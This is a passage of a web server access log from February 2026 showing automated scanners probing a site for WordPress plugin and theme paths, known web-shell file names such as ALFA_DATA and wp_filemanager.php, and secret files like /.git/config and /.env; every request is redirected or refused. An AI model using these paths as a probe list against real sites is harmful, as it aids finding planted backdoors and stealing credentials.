WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:18:39 +0300] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:18:40 +0300] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:40 +0300] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:41 +0300] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:41 +0300] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:41 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:42 +0300] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:18:42 +0300] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:18:43 +0300] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:43 +0300] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:18:43 +0300] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:44 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:18:44 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:45 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:45 +0300] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:18:46 +0300] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:18:46 +0300] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:18:47 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:47 +0300] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:18:48 +0300] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:48 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:48 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:49 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:49 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:50 +0300] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:18:50 +0300] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:18:51 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:51 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:18:51 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:52 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:18:52 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:18:53 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:53 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:18:54 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:54 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:18:54 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:55 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:18:55 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:18:56 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:56 +0300] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:57 +0300] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:18:57 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:18:57 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:58 +0300] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:18:58 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:59 +0300] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:18:59 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:19:00 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:19:00 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:19:00 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:19:01 +0300] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:19:01 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:19:02 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:19:02 +0300] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:19:03 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:19:03 +0300] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:19:03 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:19:04 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:19:04 +0300] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:19:05 +0300] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:19:05 +0300] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:19:05 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:19:06 +0300] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:19:06 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:19:07 +0300] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:19:07 +0300] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:19:07 +0300] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:19:08 +0300] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:19:08 +0300] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:19:09 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:19:09 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:19:10 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:19:10 +0300] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:19:10 +0300] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.153.96.233 - - [09/Feb/2026:04:55:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.51.36.179 - - [09/Feb/2026:06:01:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.140.247.223 - - [09/Feb/2026:04:28:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 193.32.126.230 - - [09/Feb/2026:05:58:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 207.180.220.222 - - [09/Feb/2026:05:40:56 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.2210.133" 207.180.220.222 - - [09/Feb/2026:05:40:56 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "https://www.google.jp/search?q=wordpress" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.2151.97" 207.180.220.222 - - [09/Feb/2026:05:41:08 +0300] "GET /login/ HTTP/1.1" 301 795 "https://www.reddit.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.2151.97" 20.220.144.75 - - [09/Feb/2026:05:22:50 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [09/Feb/2026:04:39:59 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 93.158.96.196 - - [09/Feb/2026:06:36:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 14; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.280 Mobile Safari/537.36 OPR/80.4.4244.7786" 91.202.4.80 - - [09/Feb/2026:06:47:59 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 170.64.203.53 - - [09/Feb/2026:07:54:59 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.149.173.227 - - [09/Feb/2026:08:15:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 170.64.203.53 - - [09/Feb/2026:07:54:21 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 3.139.242.79 - - [09/Feb/2026:07:58:51 +0300] "GET / HTTP/1.1" 301 795 "-" "air.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 20.220.144.75 - - [09/Feb/2026:09:12:04 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:12:17 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:13:11 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:15:27 +0300] "GET /c.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:14:22 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:14:58 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:12:46 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:12:50 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:14:48 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:15:12 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:12:36 +0300] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:13:57 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:15:38 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:14:29 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:14:33 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:13:26 +0300] "GET /f.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:11:38 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:11:52 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:13:42 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 141.98.11.171 - - [09/Feb/2026:09:10:39 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 20.220.144.75 - - [09/Feb/2026:09:12:27 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:12:56 +0300] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:14:12 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:17:17 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:18:56 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:19:51 +0300] "GET /text.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:18:50 +0300] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:19:26 +0300] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:19:36 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:18:45 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:17:07 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:17:29 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:17:40 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:19:45 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:19:03 +0300] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:19:58 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:16:09 +0300] "GET /dialog.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:16:46 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:16:56 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:18:04 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:16:23 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:16:41 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:18:29 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:19:14 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:15:45 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:15:58 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:16:31 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:17:51 +0300] "GET /app/webroot/filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:18:18 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:18:20 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:18:38 +0300] "GET /mah.php 